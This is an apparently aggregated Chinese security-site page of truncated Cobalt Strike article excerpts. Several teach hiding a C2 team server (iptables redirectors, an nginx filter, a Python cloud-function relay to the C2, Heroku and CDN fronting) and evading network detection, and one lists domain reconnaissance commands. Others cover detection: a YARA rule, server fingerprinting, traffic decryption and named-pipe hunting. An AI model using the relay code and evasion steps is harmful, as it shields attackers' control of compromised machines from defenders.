【入门篇】几种简单的方法隐藏Cobalt Strike C2 server 安全文章

【入门篇】几种简单的方法隐藏Cobalt Strike C2 server

1. 简介我们在使用 cobalt strike 进行渗透时,靶机上的木马需要与team server进行数据交互,这无疑会暴露我们的服务器地址,容易导致team server与被控端的通讯被识别和阻断。本文将会介绍几种基本的技巧和方式来隐藏team server,并且对比其中的优缺点。2. Cobalt Strike Listener种类Beacon DNS:将交互信息隐藏在DNS请求中,这些请求看起来像请求指定域名的权威应答,他的响应信息即为team server下发的指令Beacon HTTP and HTTPS:通过HTTP GET请求接受指令,通过HTTP POST返回数据到team serverBeacon SMB:使用named pipe与parent beacon通信,这种对等通信与同一主机上的beacon一起使用。它也可以通过网络使用。Windows将named pipe通信封装在SMB协议中。Beacon TCP:使用TCP套接字与team server通信External C2:使用外部C2Foreign HTTP and HTTPS:外部监听器,常用于和msf进行联动。Notice:本文演示所用的listener类型为Beacon HTTP and HTTPS3. 环境准备PC 1: team serverOS: ubuntu 18.04IP: 192.168.1.122运行Cobalt Strike team serverPC 2: 靶机OS: Windows 7IP: 192.168.5.132PC 3: 转发机OS: ubuntu 18.04IP: 192.168.5.1334. 未设置转发的抓包测试可以看到靶机(192.168.5.132)与team server(192.168.1.122)的通信可以被检测到,暴露了team server的IP5. 使用端口转发隐藏IP5.1. iptables使用Linux防火墙iptables,我们可以将特定端口上的任何传入流量转发到给定端口上的远程主机IP。将<REMOTE-ADDRESS>替换为后端服务器的IP地址,并以root权限运行以下命令:iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPTiptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <REMOTE-ADDRESS>:80iptables -t nat -A POSTROUTING -j MASQUERADEiptables -I FORWARD -j ACCEPTiptables -P FORWARD ACCEPTsysctl net.ipv4.ip_forward=1将80端口换成443端口,就可以用来转发https流量在转发机192.168.5.133中开启转发生成listener时,在http hosts 和 http host处均填入转发机的ip上线成功,使用wireshark抓包可以看到,靶机(192.168.5.132)只和转发机(192.168.5.133)通讯,team server(192.168.1.122)也只和转发机(192.168.5.133)通讯,隐藏了team server的IP因为VMware共享同一网卡,所以在一个虚拟机中用wireshark就可以抓到所有包5.2. socat与上面一样,将<REMOTE-ADDRESS>替换为team...
阅读全文
Cobalt Strike – 绕过C2网络检测 安全文章

Cobalt Strike – 绕过C2网络检测

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。这篇文章为机器翻译文,如有英文阅读能力建议阅读原文:https://newtonpaul.com/cobalt-strike-bypassing-c2-network-detections/0x01 介绍在这篇小博文中,我们将研究如何轻松绕过 Cobalt Strike beacon 的网络检测。Symantec Endpoint Protection (SEP) 等许多 AV 产品都具有网络检测功能,可以监控通过设备网络接口的流量。此外,IDS 和 IPS 还具有对 C2 流量的基本检测,这些检测基本上是在网络数据包中寻找特定的模式。对于像 Cobalt Strike 这样的流行工具,beacon的基本“开箱即用”设置由供应商进行指纹识别,因此会被检测到。在 Cobalt Strike 中,Malleable 配置文件用于定义 C2 的设置。您可以为 C2 选择不同的协议,HTTP、HTTPS 和 DNS 是三种流行的协议。由于有效负载未加密,HTTP beacon 很容易被检测到。对于 HTTPS 连接,会在用于加密的证书上进行检测。与任何利用工具一样,如果您使用默认值,很可能会被检测到。GitHub 上有可供使用的 Malleable 配置文件,这些配置文件将更改您的默认 C2 设置。然而,这些也已经被指纹识别,并且也会产生检测。GitHub 上提供的配置文件更多地旨在测试您对过去在野外看到的不同 APT 和 CrimeWare C2 的检测能力。https://github.com/rsmudge/Malleable-C2-Profiles0x02 解决方案幸运的是,Cobalt Strike Malleable C2 配置文件是高度可定制的。事实上,定制化是 Cobalt Strike 如此受欢迎且如此有效的原因之一。您可以编写自己的个人资料,并且有一些在线指南向您展示如何执行此操作。但是,还有一种更简单的方法,C2 Concealer。该工具由 FortyNorth Security 创建,于去年发布,具有 Python 脚本,可根据用户定义的几个变量生成 C2 配置文件。https://github.com/FortyNorthSecurity/C2concealer0x03 演示安装很简单,只需克隆 GitHub 存储库,然后运行安装脚本即可。安装完成后,运行脚本并定义您希望使用的主机名。C2concealer --hostname newtpaul.com --variant 1接下来,C2Concealer 将扫描您的主机以定位 c2lint 所在的位置。C2lint 是 CobaltStrike 附带的一个工具,用于在使用配置文件之前对其进行测试/故障排除。扫描完成后,系统会要求您选择 SSL 选项。使用合法的 LetsEncrypt 证书显然是避免检测的最有效方法。但是,这需要您将 A 记录指向您的团队服务器。为此,我们将只使用自签名证书。系统会要求您填写证书的一些基本信息,你在这里放什么并不重要。完成后,您应该会收到配置文件已通过 c2lint 检查的确认信息。还将显示新创建的配置文件的名称。接下来,启动您的团队服务器,但这次定义要加载的配置文件。sudo ./teamserver 192.168.1.21 *Password* ~/C2concealer/C2concealer/34c5a462.profile生成您选择的新监听器和有效载荷。0x05 之前 VS 之后在使用我们新创建的配置文件之前,SEP 阻止了与 Cobalt Strike 团队服务器的出站连接。这是仅使用默认 C2 配置文件时的情况。但是,在使用我们新创建的配置文件后,没有任何内容被阻止,我们能够成功建立 C2。关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,“1120”安全参考等安全杂志PDF电子版,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,还在等什么?赶紧点击下方名片关注学习吧!推 荐 阅 读欢 迎...
阅读全文
破解版密钥相同,部分CobaltStrike加密流量可解 安全文章

破解版密钥相同,部分CobaltStrike加密流量可解

由于对破解版的广泛使用,NVISO 的研究人员发现公网的 Cobalt Strike 服务器中有超过四分之一使用的加密密钥对都是相同的,使用这些密钥就可以对部分加密 Cobalt Strike 流量进行解密。Cobalt Strike Beacon 与 Cobalt Strike Server 之间的通信使用 AES 进行加密,而 AES 加密的密钥由 Beacon 生成。Beacon 使用 RSA 公钥加密元数据块(默认为 Cookie),C&C 服务器通过私钥进行解密。公钥和私钥都存在 .cobaltstrike.beacon_keys 文件中,该文件是在第一次使用 Cobalt Strike Team Server 时生成的。通过对公网暴露的 Cobalt Strike 服务器进行分析识别,发现许多服务器使用相同的公钥,这意味着他们使用的 .cobaltstrike.beacon_keys 文件相同,公私钥都相同。因为这些人使用的都是 Cobalt Strike 的破解版,而在第一次使用时生成的 .cobaltstrike.beacon_keys 文件也被包含在破解版中共享出去了。通过 VirusTotal 进行样本检索,发现了 10 个破解版 Cobalt Strike 的 ZIP 压缩包,这些压缩包中根据 .cobaltstrike.beacon_keys 提取了 6 个 RSA 密钥对。其中有 2 个密钥对被广泛使用,发现的 Cobalt Strike 服务器中有 25%(1500 余个)使用的都是这二者之一。通过 1768.py 提取 Cobalt Strike Beacon 的配置时会显示是否为已知的私钥。1768.pyhttps://blog.didierstevens.com/2021/10/11/update-1768-py-version-0-0-8/通过这些私钥可以用来解密元数据和 C&C 流量:使用 Brad Duncan 在 Malware-Traffic-Analysis.net 上共享的流量文件 2021-02-02-Hancitor-with-Ficker-Stealer-and-Cobalt-Strike-and-NetSupport-RAT.pcap.zip 作为示例。2021-02-02-Hancitor-with-Ficker-Stealer-and-Cobalt-Strike-and-NetSupport-RAT.pcap.ziphttps://www.malware-traffic-analysis.net/2021/02/02/index.html流量文件中包含 Cobalt Strike Beacon 与 C&C 服务器通信的加密 HTTP 流量。首先使用 Wireshark 打开文件,通过 Stager Shellcode 查找完整 Beacon 的下载。Beacon 有多种形式,主要可分为两类:Stager Shellcode,用于下载 Beacon 的 ShellcodeBeacon,可以反射加载的 PE 文件使用 http.request.uri matches */....$ 进行过滤:GET 请求中下载 Beacon 的路径确为 Cobalt Strike,可以使用 metatool.py 进行检查:这确实是 32...
阅读全文
全网最全的Cobalt Strike使用教程-内网渗透之信息收集篇 安全文章

全网最全的Cobalt Strike使用教程-内网渗透之信息收集篇

一、前言从本篇文章开始,斗哥将向大家详细的介绍cobalt Strike 这款工具在内网渗透中的具体使用方式,因为涉及的内容较多,大致会分为信息收集篇、横向渗透篇、域控攻击篇、权限维持篇,在本篇文章中将为大家介绍信息收集篇。二、内网信息收集篇测试环境:系统服务IP地址kali外网VPS(teamserver)192.168.0.108win2008web服务器(边界服务器)192.168.0.109/1.1.1.10win2012域控(受害者)1.1.1.2win7sp1域内主机(受害者)1.1.1.23m0n0wall防火墙1.1.1.1/192.168.0.1052.1 判断是否存在域具体方式如下:1、ipconfig /all2、systeminfo3、net config workstation4、net time /domain输入该命令可能存在如下三种情况:●1.存在域,当前用户不是域用户。●2.存在域,当前用户是域用户。●3.不存在域。通过shell net view /domain 查看当前域。2.2 域内存活主机探测1、利用netbios快速探测内网工具:Nbtscan使用方法:将该文件上传到目标机器上并执行 nbtscan.exe IP 即可效果如下:2、通过arp 扫描完整探测内网方式一:工具:arp-scan命令:arp.exe –t IP效果如下:方式二:通过ARPScan脚本命令:powershell-importpowershell Invoke-ARPScan -CIDR 1.1.1.0/24效果如下:3、利用常规 tcp / udp 端口扫描探测内网工具:scanline命令:sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -p 1.1.1.1-254 /b效果如下:可以通过判端口开放情况来确定域内存活主机情况。2.3 域内基础信息收集获取域内主机信息,命令如下:1.net view效果如下:获取所在域的域名,命令如下:net view /domain在得到域名后,通过shell net view /domain:hacker 查看当前域内主机。查询结果可以在 View->target中进行查看。通过 net group “domain computers” /domain 命令可以查看域内计算机。通过 shell nltest /domain_trusts 命令查看域信任关系。通过 shell net accounts /domain 命令查看域内账号密码信息。2.4 域内控制器的查找通过如下命令查看当前域的域控制器。1、 shell nltest /dclist:hacker2、shell net time /domain3、net group “Domain Controllers” /domain4、netdom query pdc2.5 定位域管理员工具2.5.1 通过psloggedon.exe该工具可以查看本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定的是用户名而不是计算机名,该工具会搜索网上邻居中的计算机,并显示该用户当前是否已经登录。其原理是通过检查注册表 HKEY_USERS 项的 key 值 和 通过NetSessionEnum API 来枚举网络会话,但是该工具的某些功能需要管理员权限才能使用参数:●-l:仅显示本地登录,不显示本地和网络资源登录●-x:不显示登录时间●计算机名:指定要列出登录信息的计算机的名称●用户名:指定用户名,在网络中搜索该用户登录的计算机,该功能实现有问题。效果如下:1、获取本地及远程登录的计算机名称。2、获取指定计算机名的用户。3、获取指定用户登录的计算机。2.5.2 通过PVEFindADUser.exe该工具可用于查找活动目录用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括 本地用户,通过RDP登录的用户、用于运行服务和计划任务的用户。该工具的运行不需要管理员权限, 只需要普通域用户即可。参数:●-h:显示帮助信息●-u:检查程序是否有新版本●-current :如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名,则显示该用户登录的计算机●-last:如果仅制定了-last参数,将获取目标计算机的最后一个登录用户。如果指定了用户名,则显 示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户名,此时 使用该工具可能无法得到该用户名。●-noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行ping命令●-target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定了此参数,则后跟一个由逗号分隔的主机名列表,此功能实现由问题。效果如下:1、查询所有主机当前的登录用户。直接运行 pveadfinduser.exe -current ,则可显示域中所有计算机上当前登录的所有用户。查询结果将 被输出到 report.csv文件中。2、查询指定用户当前登录的主机。shell PVEFindADUser.exe -current hackeradministrator3、查询指定主机当前的登录用户。shell PVEFindADUser.exe -current -target DC2.5.3...
阅读全文
以新冠疫苗接种通知为诱饵的Cobalt Strike木马分析 逆向工程

以新冠疫苗接种通知为诱饵的Cobalt Strike木马分析

一背景            Cobalt Strike是一种商业的、功能齐全的红队渗透工具,它标榜自己是“旨在执行有针对性的攻击并模拟高级威胁参与者的开发后行动的对手模拟软件”。Cobalt Strike 的交互式后期开发功能涵盖了所有 ATT&CK 战术,所有这些都在单个集成系统中执行。除了自身的功能外,Cobalt Strike 还利用了其他知名工具的功能,例如 Metasploit 和Mimikatz。        近日,MalwareHunterTeam发布一例恶意软件名为接种新冠疫苗-紧急通知。安恒应急响应工程师对该样本进行分析。样本名称MD5文件大小接种新冠疫苗-紧急通知 .doc.exe72FFC4711DDC1A6DA2F6472777E1024472704 bytes执行流程图如下:二详细分析        程序主要功能流程比较简单,申请内存解压硬编码shellcode,通过设置Windows枚举窗口API回调函数执行shellcode。shellcode特征很明显,标准的CS所生成64位机器shellcode内容如下。执行shellcode会初始化本地网络API相关动态链接库。随后通过HTTP请求回连服务器的7999端口,CS肉鸡上线。该样本同时关联到大量恶意样本:三YARA规则针对CS生成的64位shellcode提取yara规则rule Cobalt_Strike_20210720{ meta: description = "CS_shellcode" strings: $a1 = {FC 48 83 E4 F0} $a2 = {65 48 8B 52 60 48 8B 52 18 48 8B 52 20} $a3 = {48 83 EC 20 41 52 FF E0} $a4 = {48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02} condition: all of them}四IOCC&C47.107.236124五总结及防护建议                此次分析样本为CS马,样本会加载黑客服务器上的远程代码并执行。灵活度高,可执行任意代码,免杀效果较强,建议及时对该C2通信进行拦截。建议终端用户不要点击下载不明来历软件或未知邮件附件,下载软件尽量去厂商官网下载;不随意点击不明链接,陌生文件下载运行前可使用文件威胁分析平台进行检测(https://ti.dbappsecurity.com.cn/),避免感染病毒;定期查杀病毒,清理可疑文件,备份数据。安恒应急响应中心2021年07月 本文始发于微信公众号(安恒信息应急响应中心):以新冠疫苗接种通知为诱饵的Cobalt Strike木马分析
阅读全文
大海捞“帧”:Cobalt Strike服务器识别与staging beacon扫描 安全文章

大海捞“帧”:Cobalt Strike服务器识别与staging beacon扫描

作者:Dhakkan,转载于freebuf。本文首先介绍了Cobatl Strike的工作方式,总结了一些可以用来识别Cobalt Strike服务器的特征,随后介绍了Beacon的安全机制以及如何扫描并解析出staging beacon配置的方法,最后搜集了一些Cobalt Strike服务器、流量、staging beacon各方面的其特征技术。0x00 Cobalt Strike简介Cobalt StrikeCobalt Strike 作为一种后渗透工具,可以完成侦察、鱼叉式钓鱼、浏览器代理等攻击。Cobalt Strike 分为客户端和服务器两部分,服务器端被称之为Team Server。Team Server既是Beacon payload的控制器,也是Cobalt Strike提供社工功能的主机。Team Server还存储了Cobalt Strike收集的数据以及日志记录。工作模式如下图所示:BeaconBeacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递Beacon。Beacon的功能包括以下几点:使用HTTP或DNS检查是否有待执行任务可连接到多个C2域名能够在分段传输后自动迁移与Cobalt Strike紧密集成,通过社工、主机漏洞和会话来传递Beacon根据内置Listener的分类可以将Beacon分为:HTTP and HTTPS BeaconDNS BeaconSMB BeaconListener是用来接收Beacon请求信息的Cobalt Strike模块,此处不多介绍。Beacon翻译为信标,就像信标一样在网络中标识自己的方位:“嘿,我是肉鸡,我在这…”。可以通过下图来看Beacon的工作原理:Beacon在目标主机上运行之后,会主动向我们提前设置好的Listener发送请求信息(叮,您有新的主机已上线)。Team Server控制器接收到请求后会检查是否有待执行的任务,如果有就会将任务下发到Beacon。Beacon Staging Server值得一提的是payloading staging,很多攻击框架都是使用分段的payload,以防止payload过大,覆盖到了上一函数栈帧的数据,导致引发异常,另外为了适应不同的攻击场景,可以分阶段进行payload投递。Cobalt Strike使用stager解决这个问题,stager是一段很精短的代码,它可以连接下载真正的payload并将其注入内存。攻击者首先投递一个小巧的stager payload,然后通过stager去beacon staging server的某个URL下载完整的payload。当存储着Beacon配置和payload的stager服务器暴露在公网上的时候,是可以被所有人访问的。不幸的是,默认情况下访问该服务是一个伪装的404页面。这也导致了各类扫描器、空间测绘系统、威胁情报平台等并不能基于页面response信息进行有效判断。0x01 Cobalt Strike服务器识别2019年2月19日,Strategic Cyber LLC发布了Cobalt Strike Team Server Population Study。该研究的部分目的是调查Cobalt Strike软件的许可状态,并识别和分析对当前使用的软件版本所做的重大更改。该研究确认了多种方法用于识别在野的Cobalt Stike服务器:默认证书:Cobalt Strike服务器附带默认安全证书,如果黑客没有修改默认证书,就可以使用该默认证书进行指纹识别。默认端口:Cobalt Strike服务器的默认控制端口是50050/TCP,这个端口基本上没有其他服务在使用。NanoHTTPDweb特征(适用于3.x):Cobalt Strike服务器的”404 Not Found“ HTTP响应与NanoHTTPDweb服务器有细微的不同,可以通过该细节来识别CS服务器。另外2020年底salesforce新提出了唯一标识TLS服务端的JARM指纹也为我们提供了新的思路。总的来说,上面列表中最可靠的方法是使用默认安全证书对Cobalt Strike服务器进行指纹识别。其余的检测方法则不太能唯一确定,只有与其他方法交叉验证后才具有较高的可信度。例如,任何使用50050端口、同时提供NanoHTTP web服务器特有的HTTP响应的服务器都更可能是Cobalt Strike服务器,而不是仅显示HTTP响应签名的服务器。默认证书Cobalt Strike默认证书如下:默认的证书具有很明显的特征,例如O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt StrikeCobalt Strike不同版本的证书指纹不同,但可以根据证书指纹进行识别是否是Cobalt Strike服务器。NanoHTTPD响应 (适用于3.x)Cobalt Strike服务器基于NanoHTTPD,于2012年首次发布。NanoHTTPD是一个基于java的开源web服务器框架。NanoHTTPD服务器响应中包含一个额外的空字节:”HTTP/1.1”后面是一个空字节(0x20),而在其他web服务器响应中不存在这个空字节。2019年1月2日, Cobalt Strike 3.13版发布。Cobalt Strike发布的声明指出,该版本“从HTTP状态响应中删除了无关的空字节”。所有3.13版本之前的Cobalt Strike服务器的HTTP响应都包含这个空字节,可以使用扫描器检索HTTP响应来识别。通过手动抓包Cobalt Strike服务器的连接,也可以很容易看到这个额外的空字节。由于绝大部分的破解Cobalt Strike没有更新或补丁,通过这种方法发现恶意Cobalt Strike服务器的概率仍然较大。安全公司Fox-IT于2019年2月26日发布了关于Cobalt Strike服务器的研究,该研究不仅提供了细节和如何识别3.13版本之前的服务器(对应HTTP响应中额外的空字符),还包括从Rapid7公开数据中从2015到2019年使用该检测方法发现的超过7000 Cobalt Strike 主机IP列表。类似的,2019年2月27日,知道创宇安全研究团队发表了一篇博客,详细介绍了他们使用Strategic Cyber LLC报告的NanoHTTPD 404 Not Found响应异常以及空字节异常来识别Cobalt Strike服务器。他们在ZoomEye的数据中发现的服务器更少,但仍然超过了3000台。知道创宇报告称,构建Cobalt Strike的开源NanoHTTPD代码响应方式如下:HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Day, DD Mmm YYYY HH:MM:SS GMTContent-Length: 0知道创宇的检测逻辑就是基于这一发现。然而他们随后还观察到HTTP响应中的顺序实际上可能不同,在一些Cobalt Strike系统的响应中”Content-Type”在”Date”之后显示。JARM指纹在介绍JARM之前回顾一下JA3指纹。由三位Salesforce研究员开发的开源JA3项目,可以通过对服务器和客户端之间的TLS协商进行指纹识别来检测可疑的HTTPS连接。TLS/SSL版本可接受的加密套件elliptic curve细节(如elliptic curve point格式)等等特征都可以被做成指纹。JA3用于客户端,JA3S则用于服务器。在Cobalt...
阅读全文
Cobalt Strike常见特征隐藏 安全文章

Cobalt Strike常见特征隐藏

前言首先红蓝对抗的时候,如果未修改CS特征、容易被蓝队溯源。前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了。虽说这个特征很早就被发现了,但最近正好我的ip被卡巴斯基拉黑了/(ㄒoㄒ)/~~,所以来折腾一下。关于隐藏cobalt strike的特征,网上有很多方法。例如nginx反代、域前置、修改源码等方法。本此主要从nginx反代、cloudflare cdn、cloudflare worker 这三个方面说一下如何隐藏cobalt strike stage uri的特征,以及进一步隐藏c2域名和IP的方法。并记录一下部署过程中遇到的坑点。想了解域前置技术的小伙伴可以先百度了解一下。cloudflare无法使用域前置,因为它会校验SNI。目前不知到阿里云还行不行。本着匿名,加上cloudlfare免费、对国外访问支持比较好的特点,所以选择了cloudflare。下面介绍一下常见的去特征方式。去特征的几种常见方法1、更改默认端口方法一、直接编辑teamserver进行启动项修改。vi teamserver方法二、启动时候指定server_portjava -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile2、去除证书特征Cobalt Strike默认的证书已经是分分钟被逮,所以需要生成一个新的证书这里可以用keytool这个工具。操作简单。Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。使用命令keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"没改之前改了之后这些只是要了解的基础,接下来我们就在这上面的基础上,再添加几步。部署Nginx反向代理以及https上线如果在cobalt strike的c2 malleable配置文件中没有自定义http-stager的uri。默认情况下,通过访问默认的uri,就能获取到cs的shellcode。加密shellcode的密钥又是固定的(3.x 0x69,4.x 0x2e),所以能从shellcode中解出c2域名等配置信息。如图是nmap扫描插件的扫描结果。修改这个特征的方法有很多,可以修改源码加密的密钥,参考:Bypass cobaltstrike beacon config scan但是光这样也很容易被扫描检测到,所以我们最好还得配置防火墙,限制访问Cs监听的端口接下来介绍的是我用的一种方法:设置iptables,只允许localhost访问cs listener监听的端口。将外部请求通过nginx转发到localhost上的listener。还可以在nginx上设置过滤规则来允许特定请求。配置/etc/nginx/nginx.conf文件首先配置conf文件,Nginx一键安装,在配置文件中设置只允许特定的请求头访问CS的监听端口。这里要根据你的cs配置文件来进行利用,我用的是jquery-c2.4.0.profile配置如下:只有用我们所指定的请求头的请求才能被反向代理到stage urilocation ~*/jquery { if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") { return 302 $REDIRECT_DOMAIN$request_uri; } proxy_pass https://127.0.0.1:5553;申请https证书这里可以直接在cloudflare上申请,非常方便,选择默认的pem格式分别复制内容保存为key.pem和chain.pem上传到cs的服务器上,再在nginx配置文件中启用证书。server_name img.xxxx.tkroot /usr/share/nginx/html;ssl_certificate "/usr/local/cs/all/uploads/sss.pem";ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";ssl_session_cache shared:SSL:1m;ssl_session_timeout 1440m;ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbotssl_prefer_server_ciphers on; # managed by Certbot为cobalt strike 配置证书1.生成img.xxxx.tk.store文件openssl pkcs12 -export -in /api.xxx.com/sss.pem...
阅读全文
红队攻防之隐匿真实Cobalt Strike IP 安全文章

红队攻防之隐匿真实Cobalt Strike IP

云函数隐匿真实IP本次实验利用的腾*云:(其他也相同)点击新建云函数,选择创建方式—自定义创建,函数名称自定义或者默认都可以,运行环境选择python3.6,其他版本也行。云函数代码如下(可先点击完成,后面再补进去):# -*- coding: utf8 -*-import json,base64,requestsdef main_handler(event,context): C2 = 'http://IP:PORT' headers = event path = event ip = event headers = event headers = ip print(event) if event == 'GET': resp = requests.get(C2+path,headers=headers,verify=False) else: resp = requests.post(C2+path,data=event,headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded":True, "statusCode":resp.status_code, "headers":dict(resp.headers), "body":str(base64.b64encode(resp.content)) } return response然后创建触发器,具体配置如下图:使用API网关来进行触发函数。然后配置一下网关API路径:选择立即完成并发布任务即可。这里配置完成后,我们得到API网关地址如下图:记一下该地址,等下需要用到。接着先去修改profile文件,配置文件http-config设置如下:http-config { set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By"; header "Server" "Nginx"; header "Content-Type" "text/html;charset=UTF-8"; header "Cache-Control" "max-age=1"; header "Connection" "keep-alive"; set trust_x_forwarded_for "true";}这里是为了与上面的云函数同步使用X-Forward-For来获取真实ip。然后我们就可以去CS中创建一个监听器,配置如下图,HTTP Hosts处 和 HTTP Host(Stager)处填入刚才获取到的API网关地址(Port 一定要是80)。如在云函数中指定了port,则需要创建两个监听器。生成木马即可上线。Heroku代理隐匿真实IPHeroku是一个支持多种编程语言的云平台即服务。其实简单来理解就是通过Nginx反向代理的方式,从heroku服务器代理到我们真实的CS服务器。首先:注册heroku账号,这里需要注意的是QQ邮箱和163等国内邮箱注册不了,建议使用匿名邮箱。地址:https://dashboard.heroku.com注册成功后进行登录,访问以下网址进入配置页面。https://dashboard.heroku.com/new?template=https://github.com/FunnyWolf/nginx-proxy-heroku填写App name以及TARGET(可以使用域名或直接使用IP,端口在创建监听器时用作监听端口)点击 Deploy app 进行创建容器就可以不用管了。回到Cobaltstrike,在Cobaltstrike中配置两个监听器第一个监听器设置PAYLOAD为Beacon HTTPS,HTTPS Hosts为CS IP,HTTPS Port为7443端口(第二步设置的端口)。继续配置第二个监听器,同样设置PAYLOAD为Beacon HTTPS,HTTPS Hosts设置为huaweiapi.herokuapp.com,也就是之前获取到的heroku的域名。HTTPS Port设置为443。(这里一定要443)生成木马时,监听器设置为:第二个Beacon 即:heroku2CDN隐匿真实IP申请免费域名https://my.freenom.com在申请的时候直接输入 xxxxxxx.tk 否则可能会显示该域名被注册。最好能开个代理,代理位置设置在美国(和个人信息中的国籍相同),否则一个域名有极大概率会申请失败。然后去https://dash.cloudflare.com添加cdn站点:这一步直接继续,自动生成dns地址复制这两条放到freenom处:cdn上关闭自动https重写和始终使用https、broti压缩:接着添加DNS:生成证书保存公钥以及私钥第一个保存pem,第二个保存key文件(复制即可)将证书打包并生成store文件openssl pkcs12 -export -in server.pem -inkey server.key -out xxx.xxxxxx.tk.p12 -name xxx.xxxxxx.tk -passout pass:123456keytool -importkeystore -deststorepass...
阅读全文
【干货】通过命名管道分析检测 Cobalt Strike 安全文章

【干货】通过命名管道分析检测 Cobalt Strike

文章来源:黑白天实验室 基本分析 Cobalt Strike 在执行其某些命令时会使用一种称为“Fork-n-Run”的特定模式。“Fork-n-Run”模式包括产生一个新进程(也称为牺牲进程)并将shellcode注入其中。 这种模式提供了许多好处,一个是能够执行长时间运行的任务,例如:“键盘记录器”,不会阻塞主 Beacon 线程。一般来说都是由反射 DLL 实现的。 在Cobalt Strike的最新版本 在如何自定义能力注入过程方面为红队提供了极大的灵活性。我们应该更加关注一些没有太大变化的东西。 更具体地说,一个保持不变的特性是能够检索注入模块的输出。例如,“键盘记录器”模块能够将按下的键发送回主信标进程。但是由于“键盘记录器”模块是完全无文件的,与主信标进程的通信是如何发生的? 答案是:管道! 管道是用于进程相互通信的共享内存。基本上有两种类型的管道: 命名管道和未命名管道。命名管道,顾名思义,有一个名字,可以通过引用这个名字来访问。匿名管道,需要将其句柄传递给其他通信进程以交换数据。这可以通过多种方式完成。 Cobalt Strike 使用命名管道和未命名管道在信标与其牺牲进程之间交换数据。 命名管道 F-Secure 观察到,当使用 Cobalt Strike 的一些模块将反射 DLL 注入牺牲进程时,会创建一个具有可预测模式的命名管道。 请注意,这些命名管道不是用于横向移动的 SMB 命名管道,可以通过可塑性配置文件进行自定义。在 4.2 版之前,操作员无法修改此命名管道的名称。 更具体地说,观察到一旦启动了“作业”,信标就创建了一个命名管道;管道的名称仅包含十六进制字符,并且发现其长度等于模块名称的长度(例如,屏幕截图模块的长度为 10 个字符)。 一些被发现具有这种行为的模块: KeyloggerScreenshotMimikatz (dcsync, dpapi, logonpasswords)PowerpickNet (netview 下面的屏幕截图显示了执行“keylogger”命令后 Sysmon 事件 ID 17 和 18(分别创建和访问管道)的示例: 进行了有限数量的实验,但没有发现其他合法应用程序可以创建具有相同命名约定的命名管道。我们稍后将使用此信息创建 Splunk 搜索,这些搜索使用 Sysmon 和 Yara 规则来扫描进程内存 匿名管道 并非每个 Cobalt Strike 命令都会创建一个命名管道,其中一些将使用匿名管道来实现相同的结果。 下图显示了发出“execute-assembly”命令后创建的管道实例: 我们可以通过调试启动长时间运行的程序集后产生的牺牲进程来确认: 在“ntdll!NtWriteFile”函数上设置了一个断点,并且可以看到,牺牲进程试图写入的句柄与属于管道文件系统(Npfs)的未命名文件相关联: 正如我们所见,发现诸如“execute-assembly”之类的命令并不像上面那么简单。 理论上,我们可以对使用匿名管道的流程进行基线处理。我们知道本机 Windows 进程并不经常使用匿名管道。因此,我们可以查找连接到匿名管道的 Windows 进程并从那里进行检测。 攻击者通常使用本地 Windows 二进制文件作为其可塑性配置文件中的牺牲进程。 '' ############################################# #包含 post_ex 块数据的数据集,包括spawn-to 进程。################################################# “ '' #自定义此列表# spawn_processes = 可以看出,上述过程用于后开发作业。它们通常都不会使用匿名管道与不同的进程进行通信;因此,可以使用它来执行搜索并最终创建检测规则。 在实验过程中,发现以下 Windows 二进制文件使用匿名管道进行进程间通信: wsmprovhost.exengen.exesplunk.exesplunkd.exefirefox.exe 这同样适用于通过 Cobalt Strike 的 dllspawn API 执行的自定义反射 DLL,因为底层的通信机制是相同的。 其中一个例子是 Outflank 的Ps-Tools存储库。Ps-Tools...
阅读全文
通过命名管道分析检测 Cobalt Strike 安全文章

通过命名管道分析检测 Cobalt Strike

